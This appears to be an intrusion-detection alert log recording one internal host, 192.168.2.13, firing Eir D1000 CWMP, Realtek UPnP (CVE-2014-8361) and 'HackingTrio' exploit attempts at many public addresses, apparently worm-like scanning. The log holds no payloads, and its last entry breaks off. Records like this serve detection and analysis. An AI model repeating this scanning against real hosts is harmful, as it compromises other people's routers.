ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 95.78.49.138

Timestamp:	04/15/24-08:52:12.682878
SID:	2023548
Source Port:	46914
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.62.41.219

Timestamp:	04/15/24-08:52:45.346085
SID:	2023548
Source Port:	49888
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 31.45.203.234

Timestamp:	04/15/24-08:53:22.338830
SID:	2023548
Source Port:	44394
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 172.76.84.173

Timestamp:	04/15/24-08:53:21.763327
SID:	2023548
Source Port:	53582
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.199.235.25

Timestamp:	04/15/24-08:53:25.039041
SID:	2023548
Source Port:	39294
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 172.250.90.166

Timestamp:	04/15/24-08:53:18.834192
SID:	2023548
Source Port:	41216
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 31.181.248.84

Timestamp:	04/15/24-08:53:55.082823
SID:	2023548
Source Port:	43878
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.218.225.190

Timestamp:	04/15/24-08:53:18.960839
SID:	2023548
Source Port:	60068
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.106.91.221

Timestamp:	04/15/24-08:53:23.127397
SID:	2023548
Source Port:	49084
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 92.244.209.152

Timestamp:	04/15/24-08:53:37.980198
SID:	2025576
Source Port:	52726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 108.138.196.242

Timestamp:	04/15/24-08:53:29.192150
SID:	2025576
Source Port:	57654
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.167.43.27

Timestamp:	04/15/24-08:52:28.387872
SID:	2023548
Source Port:	60854
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 103.197.15.94

Timestamp:	04/15/24-08:52:33.051091
SID:	2025576
Source Port:	43606
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.62.41.219

Timestamp:	04/15/24-08:52:45.015478
SID:	2023548
Source Port:	49872
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.204.122.75

Timestamp:	04/15/24-08:52:52.646436
SID:	2025576
Source Port:	35726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 95.5.247.230

Timestamp:	04/15/24-08:53:46.959507
SID:	2023548
Source Port:	34006
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 107.159.134.51

Timestamp:	04/15/24-08:52:26.624728
SID:	2023548
Source Port:	54664
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 41.111.144.28

Timestamp:	04/15/24-08:52:20.456993
SID:	2023548
Source Port:	35418
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 93.81.145.250

Timestamp:	04/15/24-08:52:23.052631
SID:	2023548
Source Port:	54054
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 203.99.106.59

Timestamp:	04/15/24-08:53:23.856441
SID:	2025132
Source Port:	55084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 34.149.128.155

Timestamp:	04/15/24-08:52:46.209392
SID:	2025132
Source Port:	53820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.47.156.154

Timestamp:	04/15/24-08:52:42.022519
SID:	2023548
Source Port:	49654
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 74.134.70.250

Timestamp:	04/15/24-08:53:10.594808
SID:	2023548
Source Port:	33258
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 208.112.192.208

Timestamp:	04/15/24-08:52:27.449718
SID:	2025132
Source Port:	43570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 140.246.80.139

Timestamp:	04/15/24-08:53:49.731979
SID:	2025576
Source Port:	44058
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.208.224.85

Timestamp:	04/15/24-08:53:56.051835
SID:	2023548
Source Port:	52134
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 61.81.159.153

Timestamp:	04/15/24-08:53:14.154319
SID:	2023548
Source Port:	36266
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 213.86.245.74

Timestamp:	04/15/24-08:52:47.758767
SID:	2025576
Source Port:	50760
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 216.193.162.10

Timestamp:	04/15/24-08:53:32.928551
SID:	2023548
Source Port:	42674
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 51.211.83.159

Timestamp:	04/15/24-08:52:45.152471
SID:	2023548
Source Port:	32838
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 51.91.60.24

Timestamp:	04/15/24-08:53:29.808459
SID:	2023548
Source Port:	43590
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 173.33.56.136

Timestamp:	04/15/24-08:53:42.639443
SID:	2023548
Source Port:	35774
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 196.235.219.135

Timestamp:	04/15/24-08:52:49.488832
SID:	2023548
Source Port:	54178
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 103.147.141.62

Timestamp:	04/15/24-08:52:46.275741
SID:	2023548
Source Port:	34420
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.194.132.239

Timestamp:	04/15/24-08:53:57.145984
SID:	2025576
Source Port:	55350
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 34.110.241.133

Timestamp:	04/15/24-08:52:31.273325
SID:	2027339
Source Port:	46878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.78.64.65

Timestamp:	04/15/24-08:52:45.266413
SID:	2023548
Source Port:	54562
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 92.59.230.166

Timestamp:	04/15/24-08:52:54.839528
SID:	2023548
Source Port:	57406
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 38.207.119.50

Timestamp:	04/15/24-08:53:24.169929
SID:	2027339
Source Port:	45614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.102.156.195

Timestamp:	04/15/24-08:53:42.520956
SID:	2025576
Source Port:	59576
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 201.42.174.180

Timestamp:	04/15/24-08:52:39.491022
SID:	2023548
Source Port:	44428
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.202.139.225

Timestamp:	04/15/24-08:52:48.141652
SID:	2025576
Source Port:	51874
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.42.92.137

Timestamp:	04/15/24-08:53:32.893604
SID:	2023548
Source Port:	58268
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 41.100.72.58

Timestamp:	04/15/24-08:53:00.565918
SID:	2023548
Source Port:	38398
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.222.62.177

Timestamp:	04/15/24-08:53:37.973121
SID:	2025576
Source Port:	60516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 201.226.185.29

Timestamp:	04/15/24-08:52:29.801368
SID:	2023548
Source Port:	36568
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.152.208.111

Timestamp:	04/15/24-08:52:41.312265
SID:	2023548
Source Port:	46334
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.61.137.161

Timestamp:	04/15/24-08:53:37.451963
SID:	2023548
Source Port:	44954
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 218.159.250.155

Timestamp:	04/15/24-08:52:26.100766
SID:	2023548
Source Port:	53370
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.255.65.96

Timestamp:	04/15/24-08:52:57.667609
SID:	2023548
Source Port:	51186
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 203.99.106.59

Timestamp:	04/15/24-08:53:23.856441
SID:	2027339
Source Port:	55084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.141.49.1

Timestamp:	04/15/24-08:52:31.380682
SID:	2027339
Source Port:	55288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.239.94.111

Timestamp:	04/15/24-08:53:01.704704
SID:	2023548
Source Port:	50494
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.213.83.228

Timestamp:	04/15/24-08:53:10.727285
SID:	2023548
Source Port:	40924
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 51.91.60.24

Timestamp:	04/15/24-08:53:30.092883
SID:	2023548
Source Port:	43606
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.239.134.57

Timestamp:	04/15/24-08:53:04.650189
SID:	2023548
Source Port:	34836
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.15.5

Timestamp:	04/15/24-08:53:08.470485
SID:	2023548
Source Port:	59702
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.167.250.53

Timestamp:	04/15/24-08:53:25.653597
SID:	2023548
Source Port:	55540
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 207.174.148.251

Timestamp:	04/15/24-08:53:57.054526
SID:	2023548
Source Port:	54244
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.203.76.132

Timestamp:	04/15/24-08:52:51.736984
SID:	2023548
Source Port:	46556
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 172.85.3.23

Timestamp:	04/15/24-08:52:41.193323
SID:	2023548
Source Port:	43928
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 168.121.175.155

Timestamp:	04/15/24-08:53:04.987389
SID:	2023548
Source Port:	58104
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 88.218.226.56

Timestamp:	04/15/24-08:53:07.533818
SID:	2025576
Source Port:	42678
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 3.232.250.104

Timestamp:	04/15/24-08:53:07.447727
SID:	2025576
Source Port:	56672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.250.240.184

Timestamp:	04/15/24-08:53:28.722975
SID:	2027339
Source Port:	50240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.62.41.219

Timestamp:	04/15/24-08:52:46.550019
SID:	2023548
Source Port:	49932
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 139.192.170.56

Timestamp:	04/15/24-08:53:51.120671
SID:	2023548
Source Port:	46434
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 208.112.192.208

Timestamp:	04/15/24-08:52:27.449718
SID:	2027339
Source Port:	43570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.3.241.235

Timestamp:	04/15/24-08:53:00.902523
SID:	2023548
Source Port:	38892
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 182.16.188.82

Timestamp:	04/15/24-08:53:07.479921
SID:	2831300
Source Port:	56254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 92.177.41.180

Timestamp:	04/15/24-08:53:28.086948
SID:	2023548
Source Port:	59898
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 66.65.167.194

Timestamp:	04/15/24-08:52:28.303049
SID:	2023548
Source Port:	52278
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.155.82.176

Timestamp:	04/15/24-08:52:28.394218
SID:	2023548
Source Port:	41810
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 61.79.31.242

Timestamp:	04/15/24-08:52:16.150967
SID:	2023548
Source Port:	46644
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 222.102.175.140

Timestamp:	04/15/24-08:52:27.042261
SID:	2023548
Source Port:	49502
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 191.84.45.70

Timestamp:	04/15/24-08:52:53.807829
SID:	2025576
Source Port:	42412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 188.166.248.194

Timestamp:	04/15/24-08:53:03.086920
SID:	2025576
Source Port:	52296
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.191.42.237

Timestamp:	04/15/24-08:53:38.560416
SID:	2023548
Source Port:	39738
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.194.183.233

Timestamp:	04/15/24-08:52:28.660398
SID:	2023548
Source Port:	45958
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.216.204.195

Timestamp:	04/15/24-08:53:00.861126
SID:	2023548
Source Port:	33248
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 159.192.82.7

Timestamp:	04/15/24-08:52:27.165871
SID:	2023548
Source Port:	45282
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 147.192.6.14

Timestamp:	04/15/24-08:52:40.708963
SID:	2023548
Source Port:	51420
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.48.75.22

Timestamp:	04/15/24-08:53:53.950993
SID:	2023548
Source Port:	55442
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.18.55.39

Timestamp:	04/15/24-08:53:27.862374
SID:	2023548
Source Port:	56662
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.208.35.1

Timestamp:	04/15/24-08:53:50.045725
SID:	2023548
Source Port:	57300
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.238.240.146

Timestamp:	04/15/24-08:52:44.768546
SID:	2023548
Source Port:	46484
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 188.234.22.65

Timestamp:	04/15/24-08:53:02.300593
SID:	2023548
Source Port:	59800
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 31.134.108.58

Timestamp:	04/15/24-08:53:41.339943
SID:	2025576
Source Port:	50084
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.16.13.15

Timestamp:	04/15/24-08:52:44.686375
SID:	2023548
Source Port:	42804
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.199.32.244

Timestamp:	04/15/24-08:52:50.719290
SID:	2023548
Source Port:	60118
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 108.159.219.217

Timestamp:	04/15/24-08:53:50.609170
SID:	2025576
Source Port:	40886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.74.68.86

Timestamp:	04/15/24-08:53:33.076036
SID:	2023548
Source Port:	38688
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 39.29.129.101

Timestamp:	04/15/24-08:52:26.094517
SID:	2023548
Source Port:	47614
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.227.111.115

Timestamp:	04/15/24-08:52:28.713469
SID:	2025576
Source Port:	52286
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 65.131.196.41

Timestamp:	04/15/24-08:52:28.531745
SID:	2023548
Source Port:	51648
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.50.154.67

Timestamp:	04/15/24-08:52:15.897763
SID:	2025576
Source Port:	43374
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 85.216.176.48

Timestamp:	04/15/24-08:52:46.000239
SID:	2023548
Source Port:	56086
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.230.4.69

Timestamp:	04/15/24-08:52:31.080215
SID:	2023548
Source Port:	42790
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 83.220.174.157

Timestamp:	04/15/24-08:53:28.895224
SID:	2025576
Source Port:	56632
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 90.160.199.73

Timestamp:	04/15/24-08:53:50.713509
SID:	2025576
Source Port:	53168
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 89.181.14.231

Timestamp:	04/15/24-08:53:43.292264
SID:	2023548
Source Port:	49416
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.27.132.13

Timestamp:	04/15/24-08:53:30.065380
SID:	2023548
Source Port:	59092
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.149.168.189

Timestamp:	04/15/24-08:52:13.905530
SID:	2023548
Source Port:	34480
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 74.87.6.245

Timestamp:	04/15/24-08:52:47.623630
SID:	2025576
Source Port:	55104
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 124.219.137.204

Timestamp:	04/15/24-08:52:55.080760
SID:	2023548
Source Port:	57816
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.52.116.47

Timestamp:	04/15/24-08:53:58.207949
SID:	2025576
Source Port:	45058
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 103.147.141.62

Timestamp:	04/15/24-08:52:45.937262
SID:	2023548
Source Port:	34398
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 173.33.105.12

Timestamp:	04/15/24-08:52:42.939942
SID:	2023548
Source Port:	43174
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 46.245.85.103

